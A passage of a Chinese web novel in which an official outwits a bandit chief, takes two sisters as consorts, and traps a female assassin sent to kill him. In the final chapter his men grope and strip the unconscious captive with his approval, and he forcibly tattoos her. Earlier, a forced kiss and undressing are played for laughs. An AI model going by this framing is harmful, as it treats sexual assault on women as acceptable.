知道从他嘴里说不出好话,索性不在这个问题上纠结,转移话题:
“兄弟,我看齐大人回去,一定不会善罢甘休,再来找麻烦,咱哥俩咋整?”
也不能总使这招啊。
多恶心啊。
陈息轻哼一声,从怀里掏出齐德隆给自己写的欠条,放在桌上,来了句英文:
“LOOK。”
齐德隆一怔,这是哪个屯子的方言啊。
没当回事,将纸拿在手里细细观瞧,一边看,脸上肌肉一边颤抖。
看完了欠条,表情有些控制不住了。
噗呲一下笑出声来:
“兄弟啊,还得是你。”
“为兄算是服了!”
好家伙,签字画押的欠条,拿到哪里都算数。
更令他憋不住的是,上面清清楚楚写着,夫人是怎么祸害衙门的。
巨详!
放下欠条,思来想去,又开始犯了愁:
“兄弟你说,就算齐大人不来巡盐,咱们人头税的事,也拖不了多久了啊。”
他这话是重点。
这些天,州府每天都写信来催,别的县都按时缴纳了人头税,就差白山县了。
拖不了多久了啊。
陈息闻言,一点都没当回事。
拖不了也得拖。
而且自己早就有了办法。
找张椅子坐下,斜眼瞟了一眼杨刚烈:
“大哥不用管,这事我心中有数。”
“州府再来催缴,你就给我拖着,能拖多久算多久。”
杨刚烈无奈,都答应与他一同造反了,暂时只能这么办了。
啥时候拖不下去,啥时候再说。
大不了鱼死网破。
杨刚烈拧眉瞪眼,心中决然:
“行吧兄弟,为兄最多还能拖个半月,过了半月,谁也说不准了。”
陈息被他这副表情逗笑了,大哥还是心眼太实在,想啥问题都一根筋,不过现在还不是和他解释的时候:
“半月足矣!”
“这些天还要辛苦大哥了,加大力度募兵的同时,还要到附近县城买粮。”
说到此处,陈息罕见的认真起来,敲了敲桌子,正色道:
“能买多少买多少。”
这都不用问,杨刚烈心中有数,等到拖不住那天,势必要被州府围城。
粮食够吃多久,县城就能保住多久。
“行,这事交给为兄去办,为兄在行伍里,认识些为军队供粮的粮商。”
“想要多买些粮食,问题不大。”
陈息闻言心中一喜,认识大粮商,事情就好办多了。
粮食不愁,还有一个重要的事要做:
“大哥办事,兄弟肯定放心。”
“还有一件事,我看最近招募了不少能工巧匠,从明日起,将咱们县城的城墙加高加宽。”
“还是那句话,能加多高,加多高。”
杨刚烈做事痛快,认同陈息的办法,一拍胸脯子:
“兄弟请放心,全包在为兄身上。”
说完话,他有点摸不准陈息的意图了。
我又是买粮,又是加固城墙的,那兄弟你呢?
陈息岂能看不出他的心思,起身怕了拍杨刚烈肩膀:
“大哥做好这些工作便是,兄弟利用这个时间,要给青佛上一课。”
陈息眯着眼睛看向窗外,嘴角微微翘起。
小爷向来不喜欢被动。
你不是要杀小爷么。
正巧。
小爷同你想法一样。
不再断你一臂。
小爷睡不着觉!
第144章 淫贼找死
杨刚烈听他要给青佛上一课,心里有些担心。
但一回想。
自己打认识陈息那天起,这小子就没吃过亏。
想通了这点,他又有主心骨了:
“行,兄弟你忙你的,这边交给为兄。”
陈息哈哈一笑,也不废话,直接送客:
“大哥早些回去办事,今晚,兄弟还要抓条大鱼。”
杨刚烈眼睛一亮,还要抓大鱼?
上次抓王家,他们可是得了大笔的银钱。
不知兄弟今晚还要抓谁?
见陈息没有说的打算,他也不好意思问。
“好的兄弟,那为兄先走了。”
杨刚烈拱了拱手,起身出府办事。
陈息回到自己屋子,梅儿还同往常一样,侍候自己洗漱,半点看不出异常。
巡盐的问题解决了,陈息倒在床上闭目凝神。
脑中反复梳理整个事件的全过程。
自己的私盐刚刚进县城,齐德隆就从州府来巡盐。
这事要说巧合,打死他都不信。
回想起这些天发生的事,逐渐有了眉目。
佐家。
佐家挨了欺负,没来县府找自己,这事就不合逻辑。
直到今天齐德隆来巡盐,佐家都没露面。
陈息笑了笑,心里已经猜出个大概。
让宁乱去把陈一展喊来。
正好借着这次机会,检验一下寒龙军的潜伏能力。
不多时,陈一展前来:
“爹,唤孩子来,有吩咐?”
陈一展这些天,一直在校场,依照陈息给的方法训练寒龙军。
寒龙军人数不多,可都有功夫底子,配合上先进的训练方法,进展神速。
简单的潜伏技巧,已经初步具备。
陈息将他带到内间,事无巨细将这次任务讲给他。
陈一展听完,重重点头。
任务很简单,甚至都不用刀枪,但他也不敢大意。
上次剿匪的鲁莽,深深刺痛了他。
性格逐渐向稳健转变。
“好的爹,孩儿立即去做。”
见他没像上次一样狂妄自大,陈息拍了拍他肩头:
“这是寒龙军第一次出任务,虽然不危险,但你需记住,成大事者,都是从一点一滴积累的,这些都是宝贵的经验。”
陈一展点头:
“爹,您放心,孩儿这次,绝对不会给您丢脸。”
“嗯,去吧。”
送走了陈一展,陈息又抬眼望向窗外。
咦?
那只黄鹰不见了。
嘴角微微翘起,看来青佛忍不住了啊。
来到外屋,顺着窗户,看向外面打扫庭院的丫鬟们。
人人都穿着府里发放的棉鞋。
陈息恍然。
原来是这样。
轻笑一声出门。
好些天没去见小甜甜了,顺便打听一下,玉龙岭上都有哪些女子。
他怀疑梅儿的身份不简单。
不然,青佛也不会将这么危险的任务交给她做。
如果真如自己猜想一样。
嘿嘿。
小爷便送你一份惊喜。
这货一脸坏笑,溜溜达达就到了小甜甜私宅。
刚要敲门,就碰到翠翠出门买东西。
“呀,陈......县尉爷您来了。”
翠翠见到他,小脸一下子红透了。
她知道陈息与夫人的关系,自从牛奔死后,俩人都不背着人了。
上次陈息和夫人亲嘴,小姑娘偷看的真真切切。
因为这事,好几晚都睡不着觉。
以前,她还幻想给陈息做个小妾呢。
现在倒好。
省去了很多步骤。
夫人和他好上了,自己作为通房丫鬟。
嘿嘿嘿!
陈息见她羞臊的脸红,一脑
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门子问号。
几个意思?
陈大哥也不叫了,直接叫县尉爷,这货还以为小姑娘换了称呼不习惯,咧嘴一笑:
“翠翠不用那么生分,还是叫我陈大哥吧。”
翠翠闻言,彻底慌了,连忙道了个万福:
“翠翠不敢,您是县尉爷,您......”
她说都不会话了,他和夫人已经好上了,自己还称呼他陈大哥?
若是让夫人知晓了,定饶不了自己。
如果可以的话,她都想一步到位。
直接称呼老爷。
老爷身体结实,万一夫人受不住,自己也就顺理成章了嘛。
翠翠小心思藏不住,陈息却不以为然,还以为这丫头见外,见她如此,也没当回事,一个小姑娘,腼腆点很正常:
“行吧,夫人在家么?”
“嗯嗯,在呢,夫人这些时日,从未离府。”
陈息笑笑,从未离府,这是在等我呢:
“翠翠去忙吧,我进去看看夫人。”
“好的县尉爷。”
翠翠让开身子,陈息大跨步进府。
穿过门房,直达夫人内间。
离得近前,这货想使坏。
轻挪脚步,跟偷狗贼似的摸到门前。
刚想把耳朵贴在上面,里面就传来脚步声。
这货心知坏不成了,小甜甜这是要出屋。
只能给她个惊喜了。
这货张开双臂,就站在门外。
“咯吱——”
屋门打开,这货上去就是一个拥抱,没等对方反应过来,一张大嘴直接亲上。
就是这个味。
这感觉。
吁着!
可令他万万没想到的是,对方身子猛一哆嗦。
随后,只觉得舌尖被对方咬住,不顾疼痛,连忙松开了嘴。
同时,耳边传来一道娇叱声:
“淫贼找死!”
第145章 我要吃烧鸡
听到这声娇叱,陈息人都麻了。
又他娘的亲错了。
连忙将手从她后面抽回。
没等他反应过味,耳边一道风声传来,立即低头躲闪。
那人的拳头擦着头皮扫过,感觉落空后,一抬腿直奔陈息要害。
“砰——”
陈息反应极快,上次与叶红缨缠斗吃过这亏,知道女人打架爱使这招。
双腿死死夹住对方脚踝,慌忙开口解释:
“姑娘,你听我解释。”
可对方哪里肯听他解释,一拳,正打在这货额头上。
“砰——”
“哎呀——”
陈息噔噔噔连退数步,啪嚓一声撞到花瓶,摔得人仰马翻。
对方一击得手,想要再次逼近时,腰间突然被抱住:
“绾儿不可!”
小甜甜听到外面有打斗声音,急忙从里屋出来,一眼便见到妹妹伤了陈息,一边喊住妹妹停手,一边抱住了她。
“绾儿,你为何要伤人?”
绾月尼气炸了肺,没想到自己刚刚下山,便遇到此种登徒子,光天化日之下,竟然......
还将他那恶心的舌头,伸入自己嘴里。
若不是姐姐拦着,她恨不得将这登徒子碎尸万段。
虽然身子被姐姐抱住,可她依旧冷着一张脸,凤目含煞的瞪着陈息。
见她停手,小甜甜松了一口气。
自己妹妹常年不下山,姐妹俩刚见面,话还没聊几句呢,便发生这样的事。
她有些生气了。
怎地能不分青红皂白便打人。
他可是你未来的姐夫。
见妹妹不说话,小甜甜手指点了一下她肩头:
“呆在这里不许动。”
然后快走几步,轻轻的扶起陈息,见这货脑门被妹妹打出个大包,心疼坏了,出来的匆忙,手帕忘在屋内,只能用袖子为他擦擦:
“哎呀,伤的好重,快进屋,我给你上药。”
小甜甜是真心疼了,这可是男人的脸面,怎能朝这个地方打。
扶起陈息,转身怒视绾月尼,一跺脚:
“还不速速道歉。”
小甜甜不觉得陈息有什么错,无非就是进屋没敲门嘛,全当是自己妹妹无礼。
仗着这几年在山上学些武艺,下山便惹祸。
这次,非得好好教训教训你。
绾月尼见姐姐不明真相,想要开口,将登徒子怎么欺负自己的事讲出来,发觉说不出口,双唇死死抿着。
自己一出家人,被......
想想她都要哭了。
站在那里,脸红到耳朵根,一句话都说不出来。
“哼,这些年在庵中疏于管教,简直越来越放肆。”
小甜甜胸口剧烈起伏,必须要当着陈息的面,好好教训她一顿:
“跟我回屋。”
拉着陈息的大手便往屋里走,路过绾月尼身边,又瞪了她一眼。
绾月尼委屈坏了,明明自己被欺负,但就是有理说不出。
将所有的恨意,都记在陈息身上。
心想,等此间事了,定要找个机会废了这登徒子。
陈息任由小甜甜拉着自己向前走,假装捂着脑门,谁都不敢看。
坏了坏了。
这是小甜甜的妹妹。
听她说,妹妹常年在山上庵中。
用屁股想都知道。
还是个出家人。
踏马的。
自己这运气,也是没谁了。
你若换个身份,我都能想个办法对你负责。
可一个出家人。
哎呀。
完蛋了。
这货被小甜甜拉到屋内坐下,双腿并拢,坐的规规矩矩。
额头一凉,发觉小甜甜在为他擦药,这货眼睛闭得死死的,生怕对上绾月尼要吃人的目光。
小甜甜为他擦好了药,红唇微张,轻轻帮他吹了吹:
“感觉好些了吗,还痛不痛呀?”
小甜甜轻摸他脑门上的大包,心疼的眼泪都要下来了,这死丫头,下手没轻没重的。
想要开口教训几句,瞥见大包旁边有药液残留,想拿手帕帮他擦擦。
突然,陈息开口:
“没事没事,我自己来。”
这货感觉手里握着什么,抬手便擦。
陈息的举动没有什么问题,可两女却愣住。
他,手里拿的是......?
小甜甜有些不确定,轻声开口:
“你手里拿的......”
是什么,三个字还没出口。
陈息好像反应过来了,睁开眼睛一看,一个粉红色肚兜正被自己捏在手里。
脑瓜子嗡的一声。
废了!
猴子他爹。
狒狒了!
他怎能不清楚,刚才亲吻绾月尼时,见她穿着宽松,顺手就伸到她后面。
扣是怎么系的,他是怎么解的。
哎呀......
绾月尼看清他手中肚兜时,下意识一捂胸口,发觉里面凉飕飕的。
脸蛋,唰的一下,红的要滴血。
这登徒子。
不光亲了自己,还将自己的肚兜解了下来。
手那么快的么?
竟还用那羞人的物件,擦药。
绾月尼绷不住了,一句话不说,转身去拿自己的佩剑。
见她要发飙,小甜甜赶紧拦着:
“绾儿,你不要冲动,赶紧把剑放下。”
见她目光决然,小甜甜死死抱住她,声音也高了几度:
“你连姐姐的话也不听了吗?”
听见这话,绾月尼才恢复几分理智。
她们的父母被土匪杀死,姐姐被土匪劫去,自己被师父救走。
一晃多年,姐妹俩都不知对方身在何处。
直到有一天,姐姐到庵中进香,姐妹俩才算相见。
至亲再聚,少不了抱头痛哭。
哭过,聊了许久,才问清楚彼此的境况。
得知姐姐已是县令夫人,并且县令大人对她很好,绾月尼才算安心。
姐姐要带她走,但自己师父年事已高,她不忍随姐姐离开,选择留在在庵中照顾。
直到前些日子,她到县城采买物资,回去后,发现庵中有打斗痕迹。
师父与一众师妹,不知所踪。
她预料到了什么,但还守着一丝幻想,留在庵中等待。
几日前,直到她将要死心时,师妹们回来了。
将师父被土匪害死,她们被掳到山寨,后又被县尉派的府兵解救,送到县里。
县尉对待她们很好,临走时还发了盘缠。
事无巨细的讲给师姐。
绾月尼重情重义,得知是县尉派兵扫平了山寨,救了师妹们,选择下山感谢。
反正都下了山,顺路先来看看姐姐。
哪成想。
竟遇到这样荒唐事。
绾月尼深吸一口气,表情虽有些缓和,可手中还死死握着佩剑。
见她听进去自己的话,小甜甜才从她手里扯过佩剑,想说些什么,一扭头再看陈息手里的肚兜。
心中隐约猜出点端倪,又不敢确定,走到陈息身边接过肚兜,有些幽怨道:
“这是哪来的?”
“街上捡的。”
陈息信口胡诌,爱咋咋地,就是街上捡的。
打死都不能说,这东西是你妹妹的。
小甜甜有些狐疑,看看手中肚兜,又看看绾月尼。
见姐姐目光扫来,绾月尼脸红的有些不自然,一扭头:
“不是我的。”
两人都矢口否认,小甜甜也没了招,爱哪来的哪来的吧。
没好气的白了两人一眼:
“不管这事谁对谁错,我们毕竟是一家人。”
说到这里,一把拉过绾月尼的手:
“他就是县尉,怎么说,也是兰若庵的恩人。”
“你怎么能这样对待恩人呢?”
绾月尼闻言,被惊得张大了嘴,眼前这登徒子,竟是救了师妹们的县尉?
再望向陈息时,眼神中充满了复杂。
就在她不知该怎么收场时,翠翠买完东西回屋,先给夫人施礼:
“夫人,翠翠按您的吩咐,准备了一桌素斋招待姨太。”
小甜甜点头:
“好,可以开饭了。”
“是,夫人。”
翠翠与另一个小丫鬟寒儿,手脚麻利的摆上一桌素斋,转身告退。
房间里只剩下陈息,小甜甜,和一脸纠结的绾月尼。
小甜甜夹起一块蘑菇,送到妹妹碗里:
“绾儿先吃,翠翠手艺不错的,想来很合你口味。”
绾月尼没动筷子,盯了陈息良久,又看看姐姐,长叹一声,仿佛下定了某种决心:
“我要吃烧鸡!”
这句话一出口,陈息和小甜甜全部愣住。
出家人。
要吃烧鸡?
第146章 这份大礼,小爷接了
陈息自是不知绾月尼是怎么想的。
或许她们庵子有规定,尼姑可以吃肉吧?
不过怎么想怎么不对劲。
出家人吃肉,馋嘴了偷摸吃嘛。
这大庭广众的,怎么看都觉得离谱。
和陈息不同,小甜甜则是非常了解妹妹的。
虽说许久未见,但姐妹俩连着心。
如何不知她的心思。
这丫头,从小就虎了吧唧的。
属于敢爱敢恨那种。
刚才那肚兜,定是这丫头的。
只是当着自己面,不愿承认罢了。
扭头白了一眼正在干饭的陈息,无奈叹了口气,向门外喊道:
“翠翠,去换一桌肉食,再打些酒来。”
“好的夫人。”
翠翠虽疑惑,可不敢问。
夫人既然交代了,自己照做便是。
连忙出门,不一会的功夫,捧着大包小包回来,同寒儿一起将素斋撤下,换了一桌肉食。
摆上一坛子酒,躬身告退。
小甜甜夹起一块酱肉,送到妹妹碗里,轻哼一声:
“这回满意了么?”
绾月尼摘下僧帽,抽出发髻,一甩头,三千青丝散于肩上,用手捋了捋:
“师父在世时,为我卜了卦,怹说弟子尘缘未断,允我带发修行,如果哪日破了戒,一切随缘。”
见妹妹把自己的小秘密说出来,小甜甜如释重负般笑了。
她也不希望妹妹当一辈子尼姑。
如今这乱世,百姓都吃不饱饭,哪里有什么香客。
与其在庵中吃苦受罪,不如同自己一样,追寻凡间俗乐来的自在:
“无论绾儿做什么决定,姐姐都支持你。”
“来,吃肉。”
又为她夹了一片酱肉,还贴心的为她倒了杯酒。
绾月尼甜甜一笑,又把肉夹回姐姐碗里:
“姐姐先吃,妹妹不与你争。”
说罢,端起酒杯一饮而尽。
小甜甜见她懂得谦让,心中宽慰,这丫头总算明白点事了。
从小,家里无论有什么好东西,都要与自己争抢,如今年龄大些,倒是懂事了许多。
她不客气,夹起酱肉就吃,咽下了肚,一扭头,看向陈息:
“我妹妹美么?”
陈息嘴唇子一哆嗦,眼珠子像做贼似的看向绾月尼。
刚才一直在紧张,只听姐妹俩在打哑谜了。
至于说的啥,完全听不懂。
还俗就还俗呗。
一块肉也让来让去的。
此时再看绾月尼,摘掉僧帽之后,一头乌黑秀发披肩,脸蛋与姐姐很像。
只不过,眉眼间不似小甜甜那般万种风情,却有着女人中少有的坚毅。
“美,很美。”
陈息实话实说,这份相貌若放在后世,秒杀一众人造网红,哪个男人不想一亲芳泽?
听他说自己妹妹美,小甜甜淡淡一笑,再次开口,就是王炸:
“将我和妹妹一并收了。”
“我知道你有三位夫人,我和妹妹比不上,你与夫人们的感情。”
“但事情已经这样了。”
“你若有良心,给我们姐妹俩一个外室的名分,若有机会见到三位大妇,妾身与妹妹自会敬茶请安。”
“放心,不会让你难做的。”
听姐姐说,陈息还有三位夫人,绾月尼有些气恼。
自己和姐姐只能做他的外室,心中有气不吐不快,提出一个更加炸裂的要求:
“今晚你和姐姐睡,明晚你和我睡。”
“行不行,给句痛快话。”
说完话,又拎起佩剑,手指在卡簧处来回摩梭。
只要敢不答应。
立即砍死你。
陈息差点被姐妹俩说的话噎死。
这姐俩,都这么虎的么。
就连名分都分配好了。
这货才反应过来。
刚才推来让去的那块肉,原来指的是自己。
这个时候,他不敢有一丝犹豫。
小甜甜自是不用说了,没有她,自己恐怕已被青佛设计杀死。
绾月尼,第一次见面就亲了人家,顺手还解了肚兜。
人家还俗,就是因为自己。
立即接话道:
“一切都依二位娘子的。”
“夫君向你们保证,虽说是外室,但和正妻没什么两样。”
两女见陈息答应的爽快,这才作罢,算你还有点良心。
至于他说,同正妻地位一样,自然是宽慰她们的话,知道是假的,但心里还是甜甜的。
小甜甜为陈息倒了杯酒:
“夫君多吃些,今晚就留在这里过夜。”
陈息刚想答应,突然想起来,晚上还有条大鱼要抓,立即正色道:
“娘子,今晚恐怕......”
他话还没说完,绾月尼手指按住卡簧,下一秒就要抽出佩剑。
陈息眼尖,早就提防她这招,立即按住她的手,一瞪眼珠子:
“正吃饭呢,娘子总拿个破剑划拉啥。”
“再说了,一个女孩子家家的,玩点什么不好,翩翩舞刀弄枪的。”
“来,这个给夫君瞅瞅,我好像在哪见过此剑,有些眼熟啊。”
这货连哄带忽悠,把剑从绾月尼手里骗来。
拿到了剑,抱在怀里就不撒手了,这东西千万不能给她。
虎抄抄的,真要拔出来宰了自己,多特么冤啊。
见姐妹俩依旧瞪着自己,陈息开始正色起来:
“二位娘子莫怪,为夫今晚真有正事。”
二女不说话,双臂抱于胸前,面无表情的盯着他。
陈息知道躲不过去,但今晚真有事,万万不能留在这里过夜。
于是,拉过小甜甜的手放在腿上,愁眉苦脸加讨好:
“娘子,为夫真的有正事要做,错过.......”
话还没说完,小甜甜一根葱白玉指抵在他唇间,噗嗤一笑:
“我怎么能怪夫君呢,刚才逗你呢。”
娇嗔的白了他一眼:
“知道夫君有正事要忙...”
说罢,抽回小手为他整理一下衣裳,小脸贴在他的胸口,呵气如兰:
“夫君,一定要注意安全,家中有我呢,保证不让夫君分心。”
陈息听完,感动的差点哭了。
内室樊妍,外室小甜甜。
两个女人,都在无微不至的体谅自己。
思及此处,一把将小甜甜搂在怀里,下巴亲昵的蹭着秀发。
两颗心脏,砰砰砰的乱跳。
“谢谢娘子。”
见他俩当着自己面秀恩爱,绾月尼羞臊的脸蛋通红,没好气道:
“赶快吃饭吧,别耽误正事。”
绾月尼在场,两人也不好意思再进一步,一顿饭吃的香。
席间,陈息又向小甜甜打听了,玉龙岭上都有什么样的女子。
小甜甜自是不知,但以前牛奔喝醉,曾与她讲过一切土匪中的趣事,提到过一个女子。
那女子,在江湖上赫赫有名。
匪号:傲雪红梅。
擅使短刃,杀人于无形。
除了少数亲近之人,极少有人见过她真面目。
听到这些,陈息心中狂喜。
这不就是,从杨刚烈那里听到的秘闻。
青佛的小夫人嘛。
没想到,他还真舍得啊。
将小夫人派来暗杀自己。
正愁怎么分化玉龙岭,与那9个寨子的关系。
瞌睡,送来了枕头。
这份大礼。
小爷接了。
第147章 今晚,便是你的死期
吃过了饭,陈息脑门上顶个大包回府。
衙役已经找来木匠丈量府门,见到县尉爷回来,都乐呵呵的上前打招呼。
见到他头上大包时,齐齐一愣:
“呀哟县尉爷,春光满面,春光满面哈,随小的这边走,这边路已经清理干净了。”
“县尉爷您慢着点哈,小的为您引路。”
一路上,所有人都见到他脑门上顶个大包,但没一个敢问的。
直到一个白毛小子出现,见大哥脑门上不寻常,以为大哥被人揍了,急匆匆跑来:
“咋地了大哥?”
“你那脑门上咋地了?”
“谁揍的?”
宁乱急了:
“踏马的,在这白山县,谁敢揍我大哥?”
这货义愤填膺,抄起家伙就要去报仇,突然后屁股被陈息踢了一脚。
一路上都没人说我,就你小子嘴欠:
“没事,你慌什么慌。”
见大哥脸色不对,宁乱以为大哥,得罪硬茬子不敢同他说,这货气的直蹦高:
“大哥你就说,谁揍的你,兄弟为你......”
“诶诶诶,疼疼疼...”
话说到一半,小辫子被陈息一把抓住,拧眉瞪眼:
“谁都没揍我,我就正常走路,哪想到,被个肚兜绊卡了。”
陈息撒起谎来,大萝卜脸不红不白。
这么丢人的事,绝不能让这小子知道。
这要是传出去,自己还混不混了?
宁乱被大哥拽着小辫子,疼得呲牙咧嘴:
“知道了大哥,只要不是被人揍了就行。”
陈息哼了一声,才松开他小辫子:
“取出一只信鸽,放在原来的位置......”
他足足和宁**代了十几分钟,才把事情讲完。
宁乱听完,大眼睛卡巴卡巴,知道大哥要收网,但不知道收谁:
“好嘞大哥,包在我身上。”
见他听明白了,陈息赶紧将他送出去,这货嘴太碎了。
一直在问自己,咋被肚兜绊卡了。
我特么咋知道,那玩意,就那么神奇呗。
赶走了宁乱,回到内间展开地图,仔细研究地图上的玉龙岭和9个匪寨的位置。
眉头时而舒展,时而紧皱。
找出一张纸,在上面写写画画。
与他一样写写画画的,还有另一间屋里的梅儿。
梅儿在纸上写着,宁乱在一旁背着手讲,他讲到哪,梅儿就写到哪:
“百姓们都听着啊。”
梅儿皱着眉,这词也太水了。
无奈,他是陈息的小弟,自己为了能更好的潜伏,只能忍气吞声。
见梅儿写完一行,宁乱撇撇嘴,他不认字,写的啥他也不知道。
反正自己说什么,她就得写什么:
“今天俺们县尉大爷,被肚兜子绊卡了,脑门子摔个大包。”
梅儿忍俊不禁,差点被这句话,逗得笑出声来。
死死忍住,红着脸蛋子写:
“从今天起,县里所有老娘们,不许再穿肚兜子。”
梅儿憋笑的难受,双肩急剧抖动。
这白毛小子,是大傻X吧?
女子不穿肚兜穿啥?
里面还能空着呀?
他不敢违背宁乱的意思,只能按照原词写。
“尤其是,不许随意往街上扔肚兜子,要是让我发现了,揍死你!”
宁乱这货,想到哪里说到哪里,末尾还加上一句:
“孩童也不许穿肚兜子。”
“以后肚兜子这个物件,在白山县属于**。”
梅儿照他吩咐写完,宁乱拿在手中装模作样地看看。
“嗯,写的还不错,和我说的一样。”
梅儿心中叹息一声,纸都拿反了,还说自己写的不错。
宁乱仰头,一背手:
“走,出去张榜,完了陪我去给大哥买药,再买点补品。”
这货不管不顾,带着梅儿就出府张榜。
听完,梅儿一抿嘴,一会便能传来最新情报,怕被他耽误事,想着赶紧应付过去。
梅儿心里着急,时不时朝天上瞅瞅,好像在盼着什么。
宁乱则是不慌不忙,张完了榜,又拉着她去买药,买补品。
瞅着天色尚早,这货又拉着梅儿,挨个商铺买肚兜子,连裁缝做一半的都不放过。
眼看就要日落,梅儿心里都要急**,可这货就是磨蹭。
自己没办法,只能随着他。
宁乱带着梅儿,满大街买肚兜,陈息这边也有了进展。
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由于信鸽被安置在原来的地方,那只黄鹰飞回来,依旧落在树杈上。
见到信鸽,犹豫了半晌。
选择动手。
这物种天性凶残,就算不饿,也要杀掉比自己弱小的飞禽。
黄鹰落在窗台,左右看了看,感觉没危险后,一跃跳下窗户,双足刚落地,一张大网便将它套住。
胡伢子嘿嘿一笑,上前制住鹰爪:
“大哥,抓到了。”
听到声音,陈息推门进屋,拍了拍胡伢子肩膀:
“不愧是从草原出来的,抓鹰手段老辣。”
听到大哥夸奖,胡伢子憨憨一笑。
伸手摸摸黄鹰后背,从绒毛中扣出一小节木管,递给陈息:
“大哥,东西在这。”
陈息接在手里,拔掉塞子,抽出一张字条。
展开。
看完了内容,微微一笑。
果然如此。
随后,模仿青佛的笔迹,写了张字条,塞回木管中,让胡伢子物归原位。
“放了。”
“是!”
胡伢子将黄鹰放走,挠了挠脑袋:
“大哥,下面该怎么做?”
陈息附耳,向他交代了后面的任务,胡伢子立即去准备。
另一边。
直到日落,宁乱和梅儿,才扛着大包小裹的回府。
宁乱去见陈息,梅儿则赶紧回到屋子,推开窗子向外面张望。
从袖中拿出一小根鹰笛,低低吹了两声,黄鹰落在她手臂。
摸出木管,展开字条。
看完。
将半张脸贴在门上,听着外面无人,才写了回信,放飞黄鹰。
晚饭时间,梅儿到厨房为陈息送去饭菜,结束了一天的工作。
刚才她到陈息房间时,还故意看看他脑门上有没有包。
发现确实顶着个大包,才放下心来。
宁乱来找自己写榜单,她就有些怀疑。
又拉着自己去买肚兜,可能为了拖延时间。
没想到,陈息脑袋真有包。
该!
杀了自家四个炮头,遭报应了吧。
要知道,能坐上玉龙岭炮头的位置,无一不是高手,竟折在几个农夫手里。
这让她恨欲发狂。
今晚,便是你的死期。
第148章 梅花,就应该是红的
主街上鼓打四更。
巡值的衙役同往常一样,打完四更换班,下了值后,便可回家休息。
可他们刚换完轮值不久,县府内宅,假山前的凉亭顶子上,一团黑影动了。
黑影双足双手齐动,如狸猫般顺着亭柱滑落,声音细不可闻。
他好像知道方位,轻车熟路的来到主屋门外,蹲在地上听了一炷香时间,然后转身朝房后摸去。
到了后窗,又听了良久,这才微微探头,手中拿着一把形状怪异的木签,通到窗子暗槽内,轻轻搅动。
“咔...”
一道细响过后,左右望了望,确定四下无人,才轻轻推开半扇窗子。
缝隙不宽,黑影身材娇小,一个闪身便跃进屋子,随后窗子关闭。
一连串动作如行云流水,没发出任何异响。
黑影落在屋内,借着微弱的月光,依稀辨清来人是谁。
梅儿,一身黑色贴身紧衣,黑麻布遮面,头戴黑色头巾,从头到脚,露在外面的,只有一双乌溜溜的大眼睛。
轻挪脚步来到屋外俯身,半边脸贴在门缝,内间传来平稳均匀的呼吸声。
梅儿双目一眯,知道里面的人已经睡熟。
一只脚尖撑起,伸手到鞋跟,手指轻动,从厚底棉靴中,弹出一柄断刃。
短刃比后世的**还要短,这东西没有刃柄,刀格后面用细绳拧成一个小疙瘩。
梅儿微动手腕,两根手指夹住小疙瘩,晃了晃。
短刃在他指尖翻飞,灵动无比。
挑开门栓。
轻轻推开屋门,与此同时,身子也借势钻了进去。
内间很小,只扫了一眼,便确定床榻位置。
这次她大胆了许多,直起身子两步来到床榻前。
见被窝里面鼓鼓的,她所有的注意力都锁定在棉被之内。
左手掀开一角,马上就要见到被窝里的人时。
突然,她的脖子被一根绳索套住。
梅儿一惊,知道中计了。
立即要甩动短刃斩断绳子,怎料,右手又被一张大手握住。
一抖手腕要切那人手掌,却听到短刃割开皮革的声音,皮革里面,又是一道金鸣声。
“咯咯吱——”
“叮——”
再想变招就来不及了,颈部已被绳索套牢。
胡伢子粗壮的胳膊轻轻一提,梅儿便双脚离地,同时宁乱一记手刀击在她后颈。
“砰——”
梅儿双目涣散,昏迷当场。
宁乱摘下鹿皮手套看了看,手腕处铁环都被短刃切出一道浅痕,嘴丫子一撇:
“草,好狠毒的娘们,幸亏大哥提早预料,不然这只手算是废了。”
胡伢子纵身一跃,从床榻上沿,噗通一声跳到地上。
起身憨憨一笑:
“听大哥的没错吧,你还说戴个鹿皮手套没事呢,这回知道厉害了吧。”
宁乱嘴角一抽抽,幸亏听了大哥的话,不然准吃个暗亏。
胡伢子推开门,手中拽着绳子,绳索另一端套着梅儿脑袋。
像拖死狗一样,将她拖到客间。
客间四周,已被陈息点燃了烛火,亮如白昼。
见他俩得手,微微一笑:
“放桌子上。”
“是。”
胡伢子像拎小鸡仔似的,抓起昏迷的梅儿,咣当一声扔在一张巨大的桌上。
一把扯开梅儿遮面的麻布,憨声憨气:
“大哥你看,就是这娘们。”
陈息自不用多说,等的就是她。
“搜身。”
大哥吩咐搜身,宁乱,胡伢子,俩大老爷们眼睛一亮。
搜这么漂亮的娘们,把这哥俩兴奋坏了。
四只大手同时启动,紧身衣都给她扯开了。
见这俩货**手毛脚,陈息装看不见。
青佛的小夫人,肯定不是善茬子,哥俩沾点便宜能咋地。
都是江湖儿女,再扭捏可就见外了。
他伸手便将梅儿靴子脱下。
棉靴在手里鼓捣好一番,才找到暗格。
拿出梅儿指尖的短刃,往暗格处比了比。
离鞋尖还有一段距离。
这货手指头粗,伸不进去,索性直接挑开。
鞋尖里,果然还有物件。
翻出来一看,一个小纸包,还有一根黄鹰的硬羽。
硬羽根部,剪成一道斜线,显然是用这东西写信。
打开小纸包,里面包了些朱砂粉。
陈息嗤笑一声:
“用这东西传信,一般人还真想不到。”
看着朱砂粉,陈息咂咂嘴,真奢侈啊。
这玩意珍贵的很,寻常人一辈子都见不到的好东西,这娘们竟用来写信。
将东西放在桌上,再看哥俩。
宁乱和胡伢子将她翻个底朝天,啥东西都没发现。
由于俩人翻的猛,衣服撕扯之下,露出洁白光滑的肩头。
肩头处,画着一朵梅花。
陈息微微一怔。
纹身?
“来,把他翻过来。”
“好嘞大哥。”
宁乱手快,一手薅着脖领子,一手薅着腰带,将梅儿整个翻了过来。
脸对着桌子,后背朝上。
陈息一把撕开衣服,整个后背映入眼帘。
只见,除了肩头处一朵梅花,再无其他。
陈息咧咧嘴,可惜了。
由于这个年代刺青水平不咋地,黑乎乎的梅花,看的他很难受。
玛德。
啥手艺都敢开纹身店?
这货不服。
让我来!
让胡伢子坐她后脑勺上,摁住她肩膀。
又让
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宁乱宰了一只家鸽,盛来鸽血调和朱砂。
这货翻出银针,一屁股坐梅儿后腰上。
银针蘸着鸽血朱砂。
上色!
踏马的。
哪有黑乎乎的梅花?
这玩意就该是红的。
陈息不管不顾,不就是青佛的小夫人么,小爷今天来个刺激的。
手中银针嗷嗷往她身上扎,看得宁乱直咧嘴。
大哥这手艺不咋行啊,他在军队,经常帮兄弟们纹身。
